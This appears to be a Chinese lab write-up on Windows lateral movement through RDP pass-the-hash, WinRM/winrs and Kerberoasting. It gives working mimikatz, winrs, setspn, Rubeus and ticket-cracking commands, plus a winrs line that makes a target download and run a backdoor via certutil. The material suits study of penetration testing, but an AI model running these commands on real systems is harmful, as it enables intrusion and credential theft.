前言
今天仍是横向移动的内容,有些实验能成功,有些实验则各种奇怪的问题导致失败,这都是很常见的。就连小迪在视频中也经常翻车,我们只需要知道原理,以及如何去实现这个攻击行为即可。没必要强求所有的实验都要百分百成功的,而且有很多步骤或者操作方式都是在前面的文章重复说了很多次了,所以接下来的文章涉及到重复的操作可能就一句话带过了。因为,重复的东西解释起来太麻烦了。
实验环境
这个我也不想多说了,和之前的一样。老样子,实验开始之前先让web服务器上线CS,顺便提权至system,别再问咋上线了。
RDP
明文连接
RDP就是windows的远程桌面连接,也是支持明文和NTLM连接的。一般RDP连接的话可以分为两种情况,一是直接在被控主机上去连接远程桌面,这个就比较容易被发现,二是建立节点,挂上代理然后在本地远程桌面连接。毋庸置疑,第二种肯定是要比第一种好的。先利用CS的插件查看一下RDP服务的端口,因为在实际情况中运维基本不会把RDP服务设置为默认的3389端口(我懒得改了)。
RDP服务为3389端口,那么我们先扫一下3389端口,进行一个内网探测。
抓取一下密码,记得要提权。
在CS上对web服务器开启socks代理,然后在本地配置好,直接远程桌面连接30主机试试。
连接上了,但是非常的卡。还有一点就是,你需要知道当前你连接的账户是否有人使用。如果这个账户正在使用的话,而你又远程连接上去,他那边就会有提示把人踢下线,那你不就被发现了么。
Hash连接
前面我们说过RDP也支持hash连接,但是受限条件太多了。需要开启Restricted Admin Mode,在Windows8.1和Windows server 2012 r2上是默认开启的。同时想要使用hash值连接远程桌面,不单单是本地要支持Restricted Admin Mode,对端也要支持Restricted Admin Mode。
如果说当前系统支持Restricted Admin mode,输入下面的命令就会弹出远程连接的窗口,反之没有则不支持。
mstsc.exe /restrictedadmin
本地运行minikatz,这里我就远程连接到30主机吧,它是Windows server 2012 r2系统的。输入下面的命令,hash前面我们抓取到的。执行之后就会弹出远程桌面窗口,不需要再输入密码。可以看到是连接得上的,不过要等有点久我就懒得等了。
privilege::debug
sekurlsa::pth /user:administrator /domain:192.168.22.30 /ntlm:ae7cb5a96c2a31d4c66be99737f48f8c "/run:mstsc.exe /restrictedadmin"
WinRM&WinRS
手动横移
WinRM代表windows远程管理,是一种允许管理员远程执行系统管理任务的服务。默认情况下支持xerberos和NTLM身份验证以及基本身份验证。WinRM HTTP 通过 TCP 端口 5985 进行通信,而 HTTPS(TLS)通过 TCP 端口 5986 进行通信。如果所有的机器都是在域环境下,则可以使用默认的 5985 端口,否则的话则通过 5986 端口使用 HTTPS 传输。
移动条件:
双方都启用WinRM和WinRS的服务。
使用此服务需要管理员级别凭据。
Windows 2008 以上版本WinRS默认自动状态,windows vista/win7上必须手动启动。
Window2012之后的版本默认允许远程任意主机来管理。
这个攻击主要是针对Windows2008以上的系统版本,因为2008以下的话则需要手动开启,我连你的权限都没获取咋手动开启嘛。其实WinRM和WinRS是一个东西,只是我们借助的是WimRM服务,而使用的是WinRS的命令去连接。
查看一下winrm侦听器配置。
#查看侦听器配置
winrm e winrm/config/listener 或 winrm enumerate winrm/config/listener
#查看具体配置
winrm get winrm/config
Address:表示监听器所监听的地址。
Transport:用于指定用于发送和接收 WS-Management 协议请求和响应的传输类型,如 HTTP 或 HTTPS,其默认值为 HTTP。
Port:表示监听器所监听 TCP 端口。
Hostname:正在运行 WinRM 服务的计算机的主机名。该值必须是完全限定的域名、IPv4 或 IPv6 文本字符串或通配符。
Enabled:表示是启用还是禁用侦听器,其默认值为 True,表示启用。
URLPrefix:用于指定要在其上接受 HTTP 或 HTTPS 请求的 URL 前缀。例如,如果计算机名称为 SampleMachine,则 WinRM 客户端将在目标地址中指定 `https://SampleMachine/<在目标地址中指定的 URLPrefix>`。默认 URL 前缀为 "wsman"。CertificateThumbprint:用于指定服务证书的指纹。
ListeningOn:用于指定侦听器使用的 IPv4 和 IPv6 地址。
接着启动WinRM服务,有需要的可以修改一下配置,不修改的话就直接默认5985 端口。
winrm quickconfig
再在被控主机也就是我们的web服务器开启WinRM服务,这个我的web服务器是Windows2008,为了以防万一我还是手动开启一下,记得要高权限。在CS上输入命令的话,显示拒绝访问,不知道为啥,我明明已经是system权限了,难道是假的高权限么,所以我直接到web服务器上面输入命令了。
winrm quickconfig
winrm set winrm/config/Client @{TrustedHosts="*"} //允许任何主机连接
扫描一下端口,我这里是使用默认端口的,所以直接扫5985端口。
这里我在CS上面执行命令,说什么句柄无效???不知道是什么鬼,也查不到关于这方面的资料。
winrs -r:192.168.22.30 -u:administrator -p:#Root123 "whoami"
我又直接到web服务器上面去执行命令,给我弹个拒绝访问。这又是什么鬼,我看小迪视频上面说拒绝访问是因为密码错了,但是我这里密码也没错啊。
而且我在30主机执行了下面的命令,允许接受来自任何主机的WinRm连接,还是不行。搞了一个晚上这个实验,他妈都给我搞红温了。
Set-Item WSMan:\localhost\Client\TrustedHosts -Value "*"
这里我直接换了一套环境,两台主机都在统一局域网中,其中2016是被控主机,2012是我们要横移到的主机。
winserver 2016 192.168.145.131
winserver 2012 192.168.145.251
被控主机执行开启WinRM服务命令,以防万一。
输入命令进行横向移动,成功了。
winrs -r:192.168.145.251 -u:192.168.145.251\administrator -p:3143237103Aa whoami
获得交互式会话。
怎么上线CS不需要多说了吧,把命令换成下载后门的命令即可,就不演示了。
winrs -r:192.168.145.251 -u:192.168.145.251\administrator -p:3143237103Aa "certutil.exe -urlcache -split -f http://192.168.145.131:80/2222.exe 2222.exe & 2222.exe"
CS内置横移
CS里面是自带WinRM横移的,不过这里我并没有实验成功。
对31主机开启转发上线。
然后在目标列表对30主机进行WinRM横移,监听器选择我们刚刚转发上线创建的,会话选择31主机提权后的。
执行之后我这里返回一大堆错误信息啥的,估计是我环境出错了啥的,也不想管啦。现实中其实也是差不多的,各种各样的错误,哎。
Kerberos攻击&SPN扫描
SPN扫描这玩意深究的话蛮复杂的,这里我参考了别人写的文章。
Spn扫描也可以叫扫描Kerberos服务实例名称,在Active Directory环境中发现服务的最佳方法是通过“SPN扫描”。通过请求特定SPN类型的服务主体名称来查找服务,SPN扫描攻击者通过网络端口扫描的主要好处是SPN扫描不需要连接到网络上的每个IP来检查服务端口。SPN扫描通过LDAP查询向域控制器执行服务发现。由于SPN查询是普通Kerberos票据的一部分,因此如果不能被查询,但可以用网络端口扫描来确认。简单来说,Spn它不是一种横移手法而是一种扫描技术,可以利用Spn扫描去发现内网中的一些协议,常常配合Kerberos攻击一起使用。
参考链接:https://www.cnblogs.com/backlion/p/8082623.html
输入命令探测域内信息,它会回显域内哪些主机有哪些服务。
setspn -T 0day.org -q */* #扫描全部服务
setspn -T 0day.org -q */* | findstr "MSSQL" #扫描指定服务
Kerberos攻击
请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。简单来说,我们请求服务的时候会留下票据,而这个票据包含了密码,如果说这个票据是用RC4来加密的话我们是可以破解它的,如果是AES256则不可以。
在本地安全策略里面我们为了实验可以把加密方式设置为RC4。
看一下本地的票据,发现是有RC4加密的。
klist
我们也可以利用这个工具去检测,哪些服务是RC4加密且能利用的。只是,我这里不知道为啥检测说没有,但是我明明是有服务是RC4加密的,太奇怪了。
下载地址:GitHub - GhostPack/Rubeus: Trying to tame the three-headed dog.
shell Rubeus kerberoast
如果检测出来有服务利用的话是这样的。
或者我们手动检测,用minikatz去请求这个服务,看它产生的票据是RC4还是AES。
mimikatz kerberos::ask /target:MSSQLSvc/WIN-OOFCO03HO6E.god.local:1433
查看票据,发现是RC4加密滴。
klist
接着导出票据,但是导出来没见有MSSQLSvc/WIN-OOFCO03HO6E.god.local:1433服务的票据,不知道为啥。
mimikatz kerberos::list /export
使用工具破解票据,pass.txt是字典,这里我还是没有成功。不知道为啥,字典里面也含有正确的密码,加密也是RC4。哎,不管了,可能与上面Rubeus工具没扫出来可用的服务有关。反正流程就这样。
下载地址:GitCode - 全球开发者的开源社区,开源代码托管平台
python tgsrepcrack.py Pass.txt "0-40e10000-wlwznb@krbtgt~GOD.LOCAL-GOD.LOCAL.kirbi"
如果破解成功是这样子的。
总结
总的来说RDP基本在现实中不咋用,因为你要去判断连接的账户当前在线不,被发现的风险较大。WinRM的话可能用的比较多,条件是必须为2008以上的系统才行,不过都2024年了,那些2008以下的老古董估计也没谁用了。kerberos攻击简单来说,就是找到RC4加密方式的服务,然后去请求它让本地生成票据,最后使用工具破解得到密码。
PS:这个次是实验弄了整整三天,wcnm,各种环境问题。看了一大堆文章也解决不了,实在是不想管啦。
以上便是本次横移的知识了。
最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。